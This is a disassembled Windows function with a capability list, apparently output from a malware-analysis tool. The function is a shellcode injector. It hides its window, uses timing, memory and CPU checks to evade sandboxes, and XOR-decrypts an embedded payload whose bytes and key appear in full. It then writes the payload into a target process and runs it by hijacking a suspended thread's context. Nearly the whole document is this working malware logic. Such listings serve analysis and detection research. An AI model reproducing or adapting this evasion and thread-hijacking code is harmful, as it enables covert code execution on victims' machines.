Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Get system information on windows
Hide graphical window
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xbd0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xb70], ecx
mov qword [rbp + 0xb78], rdx
call fcn.140001ce0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0xb28], rax
mov rax, qword [rbp + 0xb28]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
movabs rax, 0x5a7c45ac3
mov qword [rbp + 0xb20], rax
mov qword [rbp + 0xb48], 0
mov qword [rbp + 0xb40], 0
mov qword [rbp + 0xb40], 0
jmp 0x140001614
add qword [rbp + 0xb48], 1
add qword [rbp + 0xb40], 1
mov rax, qword [rbp + 0xb40]
cmp rax, qword [rbp + 0xb20]
jl 0x140001604
mov rax, qword [rbp + 0xb48]
cmp rax, qword [rbp + 0xb20]
je 0x14000163e
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0xb78]
mov rax, qword [rax]
lea rdx, str.test.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x14000168e
mov dword [rbp + 0xb1c], 0
mov qword [rbp + 0xb10], 0
mov ecx, 0x96343e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xb10], rax
cmp qword [rbp + 0xb10], 0
je 0x1400016b2
jmp 0x140001698
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0xb10]
mov r8d, 0x96343e4
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0xb0c], eax
mov ecx, 0xe3f7
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0xb08], eax
mov eax, dword [rbp + 0xb08]
sub eax, dword [rbp + 0xb0c]
cmp eax, 0xe3f6
jg 0x1400016fb
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0xb10]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rbp + 0xb00], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0xb00], rax
cmp qword [rbp + 0xb00], 0
je 0x140001795
lea rax, str.bExUUPmHNOL
mov rcx, rax
call fcn.140001530
lea rax, [rbp + 0xaa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0xac0]
mov dword [rbp + 0xafc], eax
cmp dword [rbp + 0xafc], 1
jg 0x1400017a9
jmp 0x14000179f
mov ecx, 0
call sub.msvcrt.dll_exit
mov ecx, 0
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x8a0]
lea rdx, [0x14000a020]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x1ad3e31d414d761d
movabs rdx, 0x52bd3f797e4b5580
mov qword [rbp + 0x7d0], rax
mov qword [rbp + 0x7d8], rdx
movabs rax, 0x6d0fbe106ce09fe
movabs rdx, 0x81b32e441065647c
mov qword [rbp + 0x7e0], rax
mov qword [rbp + 0x7e8], rdx
movabs rax, 0xe4593f8961486056
movabs rdx, 0x6869320f8c4d466b
mov qword [rbp + 0x7f0], rax
mov qword [rbp + 0x7f8], rdx
movabs rax, 0xf7ec63e676a0c6e7
movabs rdx, 0x798e9810982aebda
mov qword [rbp + 0x800], rax
mov qword [rbp + 0x808], rdx
movabs rax, 0xde60851ebbad9e1f
movabs rdx, 0x79fde4887a7e7073
mov qword [rbp + 0x810], rax
mov qword [rbp + 0x818], rdx
movabs rax, 0x860c1f386b9b8ae6
movabs rdx, 0x1809b029be114d19
mov qword [rbp + 0x820], rax
mov qword [rbp + 0x828], rdx
movabs rax, 0x8b53064eff03431d
movabs rdx, 0x8c19698e8a599fb7
mov qword [rbp + 0x830], rax
mov qword [rbp + 0x838], rdx
movabs rax, 0x3dd5a9863d5f2574
movabs rdx, 0x8671d20bd9d2be75
mov qword [rbp + 0x840], rax
mov qword [rbp + 0x848], rdx
movabs rax, 0x60134f1131ff1fd0
movabs rdx, 0xd9407e02c1a1c970
mov qword [rbp + 0x850], rax
mov qword [rbp + 0x858], rdx
movabs rax, 0x9be24dfdf5de81ad
movabs rdx, 0x16c9320e3f923e1
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], rdx
movabs rax, 0xbf0d5bdfe6e55451
movabs rdx, 0x6927bc2a56d1be2c
mov qword [rbp + 0x870], rax
mov qword [rbp + 0x878], rdx
movabs rax, 0x6c83a1af91a5770f
movabs rdx, 0x4409dbaa67a2af8a
mov qword [rbp + 0x880], rax
mov qword [rbp + 0x888], rdx
mov dword [rbp + 0x88f], 0x5c8a44
mov dword [rbp + 0xb3c], 0
mov dword [rbp + 0xb38], 0
jmp 0x1400019f7
cmp dword [rbp + 0xb3c], 0xc2
jne 0x1400019b8
mov dword [rbp + 0xb3c], 0
mov eax, dword [rbp + 0xb38]
cdqe
movzx edx, byte [rbp + rax + 0x8a0]
mov eax, dword [rbp + 0xb3c]
cdqe
movzx eax, byte [rbp + rax + 0x7d0]
xor edx, eax
mov eax, dword [rbp + 0xb38]
cdqe
mov byte [rbp + rax + 0x5d0], dl
add dword [rbp + 0xb3c], 1
add dword [rbp + 0xb38], 1
mov eax, dword [rbp + 0xb38]
cmp eax, 0x1fe
jbe 0x1400019a2
mov dword [rbp + 0x4a0], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xaf0], rax
lea rdx, [rbp + 0x4a0]
mov rax, qword [rbp + 0xaf0]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x140001c0d
jmp 0x140001bee
lea rax, [rbp + 0x4a0]
add rax, 0x2c
lea rdx, str.default
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x140001bee
mov qword [rbp + 0xb30], 0
mov dword [rbp - 0x20], 0x10000b
mov dword [rbp + 0x480], 0x1c
mov eax, dword [rbp + 0x4a8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xae8], rax
mov rax, qword [rbp + 0xae8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1ff
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0xae0], rax
lea rcx, [rbp + 0x5d0]
mov rdx, qword [rbp + 0xae0]
mov rax, qword [rbp + 0xae8]
mov qword [rsp + 0x20], 0
mov r9d, 0x1ff
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov edx, 0
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xad8], rax
lea rdx, [rbp + 0x480]
mov rax, qword [rbp + 0xad8]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
jmp 0x140001b72
mov edx, dword [rbp + 0x48c]
mov eax, dword [rbp + 0x4a8]
cmp edx, eax
jne 0x140001b72
mov eax, dword [rbp + 0x488]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp + 0xb30], rax
jmp 0x140001b8c
lea rdx, [rbp + 0x480]
mov rax, qword [rbp + 0xad8]
mov rcx, rax
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x140001b3d
mov rax, qword [rbp + 0xb30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SuspendThread]
call rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xb30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov rax, qword [rbp + 0xae0]
mov qword [rbp + 0xa8], rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xb30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0xb30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
lea rdx, [rbp + 0x4a0]
mov rax, qword [rbp + 0xaf0]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x140001a48
mov rax, qword [rbp + 0xaf0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0xbd0
pop rsi
pop rdi
pop rbp
ret